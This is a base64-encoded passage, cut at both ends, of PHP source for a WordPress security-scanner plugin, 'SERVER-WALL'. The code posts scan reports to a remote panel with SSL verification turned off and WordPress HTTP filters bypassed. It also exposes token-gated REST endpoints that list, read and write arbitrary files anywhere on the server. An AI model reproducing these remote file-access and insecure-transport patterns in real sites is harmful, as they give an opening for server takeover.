STCwgOCkgLiAnL3JlcG9ydCc7CiAgICAgICAgfQoKICAgICAgICBmb3JlYWNoICgkdXJscyBhcyAkdXJsKSB7CiAgICAgICAgICAgIGlmIChzZWxmOjpodHRwUG9zdCgkdXJsLCAkYm9keSkpIHJldHVybjsKICAgICAgICB9CiAgICB9CgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaHR0cFBvc3Qoc3RyaW5nICR1cmwsIHN0cmluZyAkYm9keSk6IGJvb2wgewogICAgICAgICRoZWFkZXJzID0gWwogICAgICAgICAgICAnQ29udGVudC1UeXBlJyAgPT4gJ2FwcGxpY2F0aW9uL2pzb24nLAogICAgICAgICAgICAnWC1QYW5lbC1Ub2tlbicgPT4gU1dfUEFORUxfVE9LRU4sCiAgICAgICAgXTsKCiAgICAgICAgLy8gTWV0aG9kIDE6IHdwX3JlbW90ZV9wb3N0IChXb3JkUHJlc3MgSFRUUCBBUEkpCiAgICAgICAgJHJlc3AgPSB3cF9yZW1vdGVfcG9zdCgkdXJsLCBbCiAgICAgICAgICAgICdib2R5JyAgICAgID0+ICRib2R5LAogICAgICAgICAgICAnaGVhZGVycycgICA9PiAkaGVhZGVycywKICAgICAgICAgICAgJ3RpbWVvdXQnICAgPT4gMzAsCiAgICAgICAgICAgICdzc2x2ZXJpZnknID0+IGZhbHNlLAogICAgICAgIF0pOwogICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHJlc3ApICYmIHdwX3JlbW90ZV9yZXRyaWV2ZV9yZXNwb25zZV9jb2RlKCRyZXNwKSA9PT0gMjAwKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgLy8gTWV0aG9kIDI6IGNVUkwgKGRpcmVjdCwgYnlwYXNzZXMgV29yZFByZXNzIEhUVFAgZmlsdGVycykKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSkgewogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoJHVybCk7CiAgICAgICAgICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjaCwgWwogICAgICAgICAgICAgICAgQ1VSTE9QVF9QT1NUICAgICAgICAgICA9PiB0cnVlLAogICAgICAgICAgICAgICAgQ1VSTE9QVF9QT1NURklFTERTICAgICA9PiAkYm9keSwKICAgICAgICAgICAgICAgIENVUkxPUFRfSFRUUEhFQURFUiAgICAgPT4gWwogICAgICAgICAgICAgICAgICAgICdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nLAogICAgICAgICAgICAgICAgICAgICdYLVBhbmVsLVRva2VuOiAnIC4gU1dfUEFORUxfVE9LRU4sCiAgICAgICAgICAgICAgICBdLAogICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLAogICAgICAgICAgICAgICAgQ1VSTE9QVF9USU1FT1VUICAgICAgICA9PiAzMCwKICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gZmFsc2UsCiAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllIT1NUID0+IGZhbHNlLAogICAgICAgICAgICBdKTsKICAgICAgICAgICAgJHJlc3VsdCA9IGN1cmxfZXhlYygkY2gpOwogICAgICAgICAgICAkY29kZSAgID0gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fSFRUUF9DT0RFKTsKICAgICAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgICAgICAgICBpZiAoJHJlc3VsdCAhPT0gZmFsc2UgJiYgJGNvZGUgPT09IDIwMCkgcmV0dXJuIHRydWU7CiAgICAgICAgfQoKICAgICAgICAvLyBNZXRob2QgMzogZmlsZV9nZXRfY29udGVudHMgd2l0aCBzdHJlYW0gY29udGV4dAogICAgICAgIGlmIChpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgewogICAgICAgICAgICAkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKFsnaHR0cCcgPT4gWwogICAgICAgICAgICAgICAgJ21ldGhvZCcgICAgICAgID0+ICdQT1NUJywKICAgICAgICAgICAgICAgICdoZWFkZXInICAgICAgICA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uXHJcblgtUGFuZWwtVG9rZW46ICIgLiBTV19QQU5FTF9UT0tFTiAuICJcclxuIiwKICAgICAgICAgICAgICAgICdjb250ZW50JyAgICAgICA9PiAkYm9keSwKICAgICAgICAgICAgICAgICd0aW1lb3V0JyAgICAgICA9PiAzMCwKICAgICAgICAgICAgICAgICdpZ25vcmVfZXJyb3JzJyA9PiB0cnVlLAogICAgICAgICAgICBdXSk7CiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJHVybCwgZmFsc2UsICRjdHgpOwogICAgICAgICAgICBpZiAoJHJlc3VsdCAhPT0gZmFsc2UpIHJldHVybiB0cnVlOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIC8vIOKUgOKUgCBBZG1pbiBwYWdlIChUb29scyDihpIgU0VSVkVSLVdBTEwpIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZW5kZXJQYWdlKCk6IHZvaWQgewogICAgICAgIGlmICghY3VycmVudF91c2VyX2NhbignbWFuYWdlX29wdGlvbnMnKSkgcmV0dXJuOwoKICAgICAgICAkc2NhbiAgPSBudWxsOwogICAgICAgICRtb2RlICA9IHNhbml0aXplX3RleHRfZmllbGQoJF9HRVRbJ3N3X21vZGUnXSA/PyAnJyk7CiAgICAgICAgJG5vbmNlID0gJF9HRVRbJ193cG5vbmNlJ10gPz8gJyc7CgogICAgICAgIGlmICgkbW9kZSAmJiB3cF92ZXJpZnlfbm9uY2UoJG5vbmNlLCAnc3dfc2Nhbl8nIC4gJG1vZGUpKSB7CiAgICAgICAgICAgICRzY2FuID0gc2VsZjo6cnVuU2NhbigkbW9kZSk7CiAgICAgICAgfQoKICAgICAgICAkcXVpY2tVcmwgPSB3cF9ub25jZV91cmwoCiAgICAgICAgICAgIGFkbWluX3VybCgndG9vbHMucGhwP3BhZ2U9c3ctc2Nhbm5lciZzd19tb2RlPXF1aWNrJyksICdzd19zY2FuX3F1aWNrJyk7CiAgICAgICAgJGZ1bGxVcmwgID0gd3Bfbm9uY2VfdXJsKAogICAgICAgICAgICBhZG1pbl91cmwoJ3Rvb2xzLnBocD9wYWdlPXN3LXNjYW5uZXImc3dfbW9kZT1mdWxsJyksICAnc3dfc2Nhbl9mdWxsJyk7CiAgICAgICAgPz4KICAgICAgICA8ZGl2IGNsYXNzPSJ3cmFwIj4KICAgICAgICA8aDE+JiM5NjMyOyBTRVJWRVItV0FMTCBTY2FubmVyCiAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOjEzcHg7Y29sb3I6Izk5OTsiPnY8Pz0gU1dfVkVSU0lPTiA/Pjwvc3Bhbj4KICAgICAgICA8L2gxPgoKICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7Z2FwOjEwcHg7ZmxleC13cmFwOndyYXA7bWFyZ2luLWJvdHRvbToyNHB4O2FsaWduLWl0ZW1zOmNlbnRlciI+CiAgICAgICAgICA8YSBocmVmPSI8Pz0gZXNjX3VybCgkcXVpY2tVcmwpID8+IiBjbGFzcz0iYnV0dG9uIGJ1dHRvbi1wcmltYXJ5IGJ1dHRvbi1oZXJvIj4KICAgICAgICAgICAgJiM5NjU0OyBRdWljayBTY2FuICh1cGxvYWRzICsgcGx1Z2lucykKICAgICAgICAgIDwvYT4KICAgICAgICAgIDxhIGhyZWY9Ijw/PSBlc2NfdXJsKCRmdWxsVXJsKSA/PiIKICAgICAgICAgICAgIGNsYXNzPSJidXR0b24gYnV0dG9uLXNlY29uZGFyeSBidXR0b24taGVybyIKICAgICAgICAgICAgIG9uY2xpY2s9InJldHVybiBjb25maXJtKCdGdWxsIHNjYW4gbWF5IHRha2UgMzDigJM5MHMuIENvbnRpbnVlPycpIj4KICAgICAgICAgICAgJiM5NjU0OyBGdWxsIFNjYW4gKGVudGlyZSB3cC1jb250ZW50KQogICAgICAgICAgPC9hPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8P3BocCBpZiAoJHNjYW4gIT09IG51bGwpOiA/PgogICAgICAgICAgPD9waHAgc2VsZjo6cmVuZGVyUmVzdWx0cygkc2Nhbik7ID8+CiAgICAgICAgPD9waHAgZWxzZTogPz4KICAgICAgICAgIDxwIHN0eWxlPSJjb2xvcjojOTk5O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZSI+CiAgICAgICAgICAgIENsaWNrICJRdWljayBTY2FuIiB0byBjaGVjayB1cGxvYWRzLCBwbHVnaW5zLCBtdS1wbHVnaW5zIGFuZCB0aGVtZXMuPGJyPgogICAgICAgICAgICAiRnVsbCBTY2FuIiBjaGVja3MgdGhlIGVudGlyZSB3cC1jb250ZW50IGRpcmVjdG9yeSAoNDAwMCsgZmlsZXMsIG1heSB0YWtlIH4xIG1pbnV0ZSkuCiAgICAgICAgICA8L3A+CiAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPD9waHAKICAgIH0KCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiByZW5kZXJSZXN1bHRzKGFycmF5ICRzY2FuKTogdm9pZCB7CiAgICAgICAgJHJlc3VsdHMgID0gJHNjYW5bJ3Jlc3VsdHMnXSA/PyBbXTsKICAgICAgICAkc2Nhbm5lZCAgPSAkc2Nhblsnc2Nhbm5lZCddID8/IDA7CiAgICAgICAgJHNjYW5UaW1lID0gaXNzZXQoJHNjYW5bJ3RpbWUnXSkgPyBkYXRlKCdZLW0tZCBIOmk6cycsICRzY2FuWyd0aW1lJ10pIDogJz8nOwoKICAgICAgICAkc2V2Q29sb3IgPSBbJ0NSSVRJQ0FMJz0+JyNmODUxNDknLCdISUdIJz0+JyNkMjk5MjInLCdNRURJVU0nPT4nIzU4YTZmZicsJ0xPVyc9PicjM2ZiOTUwJ107CiAgICAgICAgJGNvdW50cyAgID0gYXJyYXlfY291bnRfdmFsdWVzKGFycmF5X2NvbHVtbigkcmVzdWx0cywgJ3NldicpKTsKCiAgICAgICAgZWNobyAnPGRpdiBzdHlsZT0iYmFja2dyb3VuZDojMTYxYjIyO2JvcmRlcjoxcHggc29saWQgIzMwMzYzZDtib3JkZXItcmFkaXVzOjhweDtwYWRkaW5nOjE2cHg7CiAgICAgICAgICBtYXJnaW4tYm90dG9tOjIwcHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlIj4nOwogICAgICAgIGVjaG8gJzxwIHN0eWxlPSJjb2xvcjojOGI5NDllO21hcmdpbi1ib3R0b206MTJweCI+TGFzdCBzY2FuOiAnIC4gZXNjX2h0bWwoJHNjYW5UaW1lKSAuCiAgICAgICAgICAgICAnICZuYnNwO3wmbmJzcDsgRmlsZXMgc2Nhbm5lZDogJyAuICRzY2FubmVkIC4KICAgICAgICAgICAgICcgJm5ic3A7fCZuYnNwOyBGb3VuZDogJyAuIGNvdW50KCRyZXN1bHRzKSAuICc8L3A+JzsKICAgICAgICBmb3JlYWNoIChbJ0NSSVRJQ0FMJz0+MCwnSElHSCc9PjAsJ01FRElVTSc9PjAsJ0xPVyc9PjBdIGFzICRzID0+ICRfKSB7CiAgICAgICAgICAgICRuID0gJGNvdW50c1skc10gPz8gMDsKICAgICAgICAgICAgaWYgKCRuKSBwcmludGYoJzxzcGFuIHN0eWxlPSJiYWNrZ3JvdW5kOiVzMjI7Y29sb3I6JXM7cGFkZGluZzozcHggMTBweDsKICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOjEycHg7bWFyZ2luLXJpZ2h0OjhweDtmb250LXNpemU6MTJweCI+JXM6ICVkPC9zcGFuPicsCiAgICAgICAgICAgICAgJHNldkNvbG9yWyRzXSwgJHNldkNvbG9yWyRzXSwgJHMsICRuKTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPC9kaXY+JzsKCiAgICAgICAgaWYgKGVtcHR5KCRyZXN1bHRzKSkgewogICAgICAgICAgICBlY2hvICc8ZGl2IHN0eWxlPSJwYWRkaW5nOjI0cHg7dGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6IzNmYjk1MDtmb250LWZhbWlseTptb25vc3BhY2UiPgogICAgICAgICAgICAgICYjMTAwMDM7IE5vIHN1c3BpY2lvdXMgZmlsZXMgZm91bmQ8L2Rpdj4nOwogICAgICAgICAgICByZXR1cm47CiAgICAgICAgfQoKICAgICAgICB1c29ydCgkcmVzdWx0cywgZnVuY3Rpb24oJGEsJGIpIHsgcmV0dXJuICRiWydzY29yZSddIC0gJGFbJ3Njb3JlJ107IH0pOwoKICAgICAgICBlY2hvICc8dGFibGUgY2xhc3M9IndwLWxpc3QtdGFibGUgd2lkZWZhdCBmaXhlZCBzdHJpcGVkIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlO2ZvbnQtc2l6ZToxMnB4Ij4nOwogICAgICAgIGVjaG8gJzx0aGVhZD48dHI+CiAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOjQwJSI+RmlsZTwvdGg+CiAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOjEwJSI+U2V2ZXJpdHk8L3RoPgogICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDo4JSI+U2NvcmU8L3RoPgogICAgICAgICAgPHRoIHN0eWxlPSJ3aWR0aDo4JSI+RW50cm9weTwvdGg+CiAgICAgICAgICA8dGg+UnVsZXM8L3RoPgogICAgICAgIDwvdHI+PC90aGVhZD48dGJvZHk+JzsKCiAgICAgICAgZm9yZWFjaCAoJHJlc3VsdHMgYXMgJHIpIHsKICAgICAgICAgICAgJGMgICAgID0gJHNldkNvbG9yWyRyWydzZXYnXV0gPz8gJyNjY2MnOwogICAgICAgICAgICAkbXRpbWUgPSAkclsnbXRpbWUnXSA/IGRhdGUoJ20vZCBIOmknLCAkclsnbXRpbWUnXSkgOiAnJzsKICAgICAgICAgICAgZWNobyAnPHRyPic7CiAgICAgICAgICAgIHByaW50ZignPHRkPjxzdHJvbmcgc3R5bGU9ImNvbG9yOiM1OGE2ZmYiPiVzPC9zdHJvbmc+PGJyPgogICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjojOGI5NDllIj4lcyAmbmJzcDsgJXM8L3NwYW4+PC90ZD4nLAogICAgICAgICAgICAgIGVzY19odG1sKCRyWydwYXRoJ10pLAogICAgICAgICAgICAgIGVzY19odG1sKHNpemVfZm9ybWF0KCRyWydzaXplJ10pKSwKICAgICAgICAgICAgICBlc2NfaHRtbCgkbXRpbWUpKTsKICAgICAgICAgICAgcHJpbnRmKCc8dGQ+PHNwYW4gc3R5bGU9ImJhY2tncm91bmQ6JXMyMjtjb2xvcjolcztwYWRkaW5nOjJweCA4cHg7Ym9yZGVyLXJhZGl1czoxMHB4Ij4lczwvc3Bhbj48L3RkPicsCiAgICAgICAgICAgICAgJGMsICRjLCBlc2NfaHRtbCgkclsnc2V2J10pKTsKICAgICAgICAgICAgcHJpbnRmKCc8dGQgc3R5bGU9ImNvbG9yOiVzO2ZvbnQtd2VpZ2h0OjYwMCI+JWQ8L3RkPicsICRjLCAkclsnc2NvcmUnXSk7CiAgICAgICAgICAgIHByaW50ZignPHRkIHN0eWxlPSJjb2xvcjojOGI5NDllIj4lLjJmPC90ZD4nLCAkclsnZW50cm9weSddKTsKICAgICAgICAgICAgZWNobyAnPHRkIHN0eWxlPSJjb2xvcjojOGI5NDllIj4nOwogICAgICAgICAgICBmb3JlYWNoICgkclsnbWF0Y2hlcyddIGFzICRtKSB7CiAgICAgICAgICAgICAgICBwcmludGYoJzxkZXRhaWxzIHN0eWxlPSJtYXJnaW4tYm90dG9tOjRweCI+PHN1bW1hcnkgc3R5bGU9ImN1cnNvcjpwb2ludGVyO2NvbG9yOiNjOWQxZDkiPiVzPC9zdW1tYXJ5PgogICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6IzhiOTQ5ZSI+JXM8L3NwYW4+CiAgICAgICAgICAgICAgICAgICVzPC9kZXRhaWxzPicsCiAgICAgICAgICAgICAgICAgIGVzY19odG1sKCRtWydydWxlJ10pLAogICAgICAgICAgICAgICAgICBlc2NfaHRtbCgkbVsnZGVzYyddKSwKICAgICAgICAgICAgICAgICAgJG1bJ3NuaXBwZXQnXSA/ICc8Y29kZSBzdHlsZT0iZGlzcGxheTpibG9jaztiYWNrZ3JvdW5kOiMwZDExMTc7cGFkZGluZzo0cHggNnB4OwogICAgICAgICAgICAgICAgICAgIG1hcmdpbi10b3A6NHB4O2JvcmRlci1yYWRpdXM6NHB4O2ZvbnQtc2l6ZToxMXB4O3dvcmQtYnJlYWs6YnJlYWstYWxsIj4nIC4KICAgICAgICAgICAgICAgICAgICBlc2NfaHRtbCgkbVsnc25pcHBldCddKSAuICc8L2NvZGU+JyA6ICcnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8L3RkPjwvdHI+JzsKICAgICAgICB9CiAgICAgICAgZWNobyAnPC90Ym9keT48L3RhYmxlPic7CiAgICB9CgogICAgLy8g4pSA4pSAIEZpbGUgbWFuYWdlciBoZWxwZXJzIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAoKICAgIC8vIFJldHVybnMgdGhlIEZNIHJvb3Q6IHBhcmVudCBvZiBBQlNQQVRIIChjb3ZlcnMgZG9tYWluLmNvbS1iYWNrdXAsIHN3LWJhY2t1cHMsIGV0Yy4pCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBmbVJvb3QoKTogc3RyaW5nIHsKICAgICAgICByZXR1cm4gZGlybmFtZShydHJpbShyZWFscGF0aChBQlNQQVRIKSwgJy9cXCcpKTsKICAgIH0KCiAgICAvLyBXcml0ZSAkY29udGVudCB0byAkcGF0aCB3aXRoIDA2NDQgcGVybWlzc2lvbnMsIHJlbGlhYmx5LgogICAgLy8gT24gc29tZSBob3N0cyAoV1AgRW5naW5lLCBTaXRlR3JvdW5kKSB0aGUgUEhQIHByb2Nlc3MgcnVucyB3aXRoIHVtYXNrIDA3NzcsCiAgICAvLyB3aGljaCBjcmVhdGVzIGZpbGVzIHdpdGggMDAwIHBlcm1pc3Npb25zIGFuZCBtYWtlcyBjaG1vZCgpIGZhaWwgc2lsZW50bHkuCiAgICAvLyBGaXg6IHNldCB1bWFzaygwMTMzKSDihpIgbmV3IGZpbGVzIGdldCAwNjQ0LiBGb3IgZXhpc3RpbmcgMDAwLXBlcm0gZmlsZXMsCiAgICAvLyBkZWxldGUgZmlyc3Qgc28gdGhlIHN1YnNlcXVlbnQgY3JlYXRlIHVzZXMgdGhlIGNvcnJlY3QgdW1hc2suCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBzYWZlV3JpdGUoc3RyaW5nICRwYXRoLCBzdHJpbmcgJGNvbnRlbnQpOiBib29sIHsKICAgICAgICAkb2xkID0gdW1hc2soMDEzMyk7IC8vIDA2NjYgJiB+MDEzMyA9IDA2NDQKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHBhdGgpICYmICFpc193cml0YWJsZSgkcGF0aCkpIHsKICAgICAgICAgICAgQHVubGluaygkcGF0aCk7IC8vIHJlbW92ZSBmaWxlIHdpdGggYmFkIHBlcm1pc3Npb25zIGJlZm9yZSByZS1jcmVhdGluZwogICAgICAgIH0KICAgICAgICAkb2sgPSBAZmlsZV9wdXRfY29udGVudHMoJHBhdGgsICRjb250ZW50KSAhPT0gZmFsc2U7CiAgICAgICAgdW1hc2soJG9sZCk7CiAgICAgICAgaWYgKCRvayAmJiAhaXNfcmVhZGFibGUoJHBhdGgpKSB7CiAgICAgICAgICAgIEBjaG1vZCgkcGF0aCwgMDY0NCk7IC8vIGxhc3QtcmVzb3J0IGF0dGVtcHQKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRvazsKICAgIH0KCiAgICAvLyBSZXNvbHZlIGFuIGFyYml0cmFyeSBwYXRoOiBhYnNvbHV0ZSBpZiBzdGFydHMgd2l0aCAnLycsIGVsc2UgcmVsYXRpdmUgdG8gZm1Sb290KCkuCiAgICAvLyBXUC1zdGFuZGFyZCBzdWJkaXJzICh3cC1jb250ZW50Lywgd3AtYWRtaW4vLCB3cC1pbmNsdWRlcy8pIHJlc29sdmUgcmVsYXRpdmUgdG8KICAgIC8vIEFCU1BBVEggc28gdGhhdCBwYXRocyBsaWtlICJ3cC1jb250ZW50L211LXBsdWdpbnMiIHdvcmsgY29ycmVjdGx5IG9uIGNQYW5lbCBob3N0cwogICAgLy8gd2hlcmUgV29yZFByZXNzIGxpdmVzIGluc2lkZSBwdWJsaWNfaHRtbC8gKGZtUm9vdCB3b3VsZCBiZSBvbmUgbGV2ZWwgdG9vIGhpZ2gpLgogICAgLy8gQWxsIG90aGVyIHJlbGF0aXZlIHBhdGhzIHN0aWxsIHJlc29sdmUgZnJvbSBmbVJvb3QoKSB0byBhbGxvdyBuYXZpZ2F0aW5nIGFib3ZlCiAgICAvLyB0aGUgV1Agcm9vdCAoZS5nLiAicHVibGljX2h0bWwiLCAibWFpbCIsICJsb2dzIiBvbiBjUGFuZWwpLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gZm1SZXNvbHZlUGF0aChzdHJpbmcgJHBhdGgpOiBzdHJpbmcgewogICAgICAgIGlmICgkcGF0aCA9PT0gJycgfHwgJHBhdGggPT09ICcvJykgcmV0dXJuIHNlbGY6OmZtUm9vdCgpOwogICAgICAgIGlmICgkcGF0aFswXSA9PT0gJy8nKSByZXR1cm4gJHBhdGg7IC8vIGFic29sdXRlIOKAlCB1c2UgYXMtaXMKICAgICAgICAvLyBXUC1zdGFuZGFyZCBzdWJkaXJlY3RvcmllcyDihpIgcmVzb2x2ZSByZWxhdGl2ZSB0byBBQlNQQVRICiAgICAgICAgZm9yZWFjaCAoWyd3cC1jb250ZW50JywgJ3dwLWFkbWluJywgJ3dwLWluY2x1ZGVzJ10gYXMgJHdwRGlyKSB7CiAgICAgICAgICAgIGlmICgkcGF0aCA9PT0gJHdwRGlyIHx8IHN0cm5jbXAoJHBhdGgsICR3cERpciAuICcvJywgc3RybGVuKCR3cERpcikgKyAxKSA9PT0gMCkgewogICAgICAgICAgICAgICAgcmV0dXJuIHJ0cmltKEFCU1BBVEgsICcvXFwnKSAuICcvJyAuICRwYXRoOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiBzZWxmOjpmbVJvb3QoKSAuICcvJyAuICRwYXRoOwogICAgfQoKICAgIC8vIOKUgOKUgCBGaWxlIG1hbmFnZXI6IGxpc3QgZGlyZWN0b3J5IOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZXN0RnNMaXN0KFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCk6IFdQX1JFU1RfUmVzcG9uc2UgewogICAgICAgICR0b2tlbiA9ICRyZXF1ZXN0LT5nZXRfaGVhZGVyKCd4X3N3X3RyaWdnZXJfdG9rZW4nKTsKICAgICAgICBpZiAoISR0b2tlbiB8fCAhaGFzaF9lcXVhbHMoU1dfUEFORUxfVE9LRU4sICR0b2tlbikpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmb3JiaWRkZW4nXSwgNDAzKTsKICAgICAgICB9CgogICAgICAgICRkaXIgPSByZWFscGF0aChzZWxmOjpmbVJlc29sdmVQYXRoKCRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3BhdGgnKSA/PyAnJykpOwogICAgICAgIGlmICghJGRpciB8fCAhaXNfZGlyKCRkaXIpKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnaW52YWxpZCBwYXRoJ10sIDQwMCk7CiAgICAgICAgfQoKICAgICAgICAkZW50cmllcyA9IEBzY2FuZGlyKCRkaXIpOwogICAgICAgIGlmICgkZW50cmllcyA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdjYW5ub3QgcmVhZCBkaXJlY3Rvcnkg4oCUIGNoZWNrIHBlcm1pc3Npb25zJ10sIDUwMCk7CiAgICAgICAgfQogICAgICAgICRpdGVtcyA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRlbnRyaWVzIGFzICRuYW1lKSB7CiAgICAgICAgICAgIGlmICgkbmFtZSA9PT0gJy4nIHx8ICRuYW1lID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgJGZ1bGwgID0gJGRpciAuICcvJyAuICRuYW1lOwogICAgICAgICAgICAkaXNEaXIgPSBpc19kaXIoJGZ1bGwpOwogICAgICAgICAgICAkaXRlbXNbXSA9IFsKICAgICAgICAgICAgICAgICduYW1lJyAgPT4gJG5hbWUsCiAgICAgICAgICAgICAgICAndHlwZScgID0+ICRpc0RpciA/ICdkaXInIDogJ2ZpbGUnLAogICAgICAgICAgICAgICAgJ3NpemUnICA9PiAkaXNEaXIgPyAwIDogKGludClAZmlsZXNpemUoJGZ1bGwpLAogICAgICAgICAgICAgICAgJ210aW1lJyA9PiAoaW50KUBmaWxlbXRpbWUoJGZ1bGwpLAogICAgICAgICAgICAgICAgJ3BhdGgnICA9PiAkZnVsbCwgLy8gYWJzb2x1dGUgcGF0aAogICAgICAgICAgICBdOwogICAgICAgIH0KICAgICAgICB1c29ydCgkaXRlbXMsIGZ1bmN0aW9uKCRhLCAkYikgewogICAgICAgICAgICBpZiAoJGFbJ3R5cGUnXSAhPT0gJGJbJ3R5cGUnXSkgcmV0dXJuICRhWyd0eXBlJ10gPT09ICdkaXInID8gLTEgOiAxOwogICAgICAgICAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsKICAgICAgICB9KTsKCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsncGF0aCcgPT4gJGRpciwgJ2l0ZW1zJyA9PiAkaXRlbXNdKTsKICAgIH0KCiAgICAvLyDilIDilIAgRmlsZSBtYW5hZ2VyOiByZWFkIC8gd3JpdGUgZmlsZSDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gcmVzdEZzRmlsZShXUF9SRVNUX1JlcXVlc3QgJHJlcXVlc3QpOiBXUF9SRVNUX1Jlc3BvbnNlIHsKICAgICAgICAkdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcigneF9zd190cmlnZ2VyX3Rva2VuJyk7CiAgICAgICAgaWYgKCEkdG9rZW4gfHwgIWhhc2hfZXF1YWxzKFNXX1BBTkVMX1RPS0VOLCAkdG9rZW4pKSB7CiAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZm9yYmlkZGVuJ10sIDQwMyk7CiAgICAgICAgfQoKICAgICAgICBpZiAoJHJlcXVlc3QtPmdldF9tZXRob2QoKSA9PT0gJ0dFVCcpIHsKICAgICAgICAgICAgJHBhdGggPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdwYXRoJykgPz8gJyc7CiAgICAgICAgICAgICRmdWxsID0gcmVhbHBhdGgoc2VsZjo6Zm1SZXNvbHZlUGF0aCgkcGF0aCkpOwogICAgICAgICAgICBpZiAoISRmdWxsIHx8ICFpc19maWxlKCRmdWxsKSkgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnZXJyb3InID0+ICdmaWxlIG5vdCBmb3VuZCddLCA0MDQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRzaXplID0gKGludClmaWxlc2l6ZSgkZnVsbCk7CiAgICAgICAgICAgIGlmICgkc2l6ZSA+IDIwOTcxNTIpIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgV1BfUkVTVF9SZXNwb25zZShbJ2Vycm9yJyA9PiAnZmlsZSB0b28gbGFyZ2UgKD4yIE1CKScsICdzaXplJyA9PiAkc2l6ZV0sIDQxMyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJGZ1bGwpOwogICAgICAgICAgICBp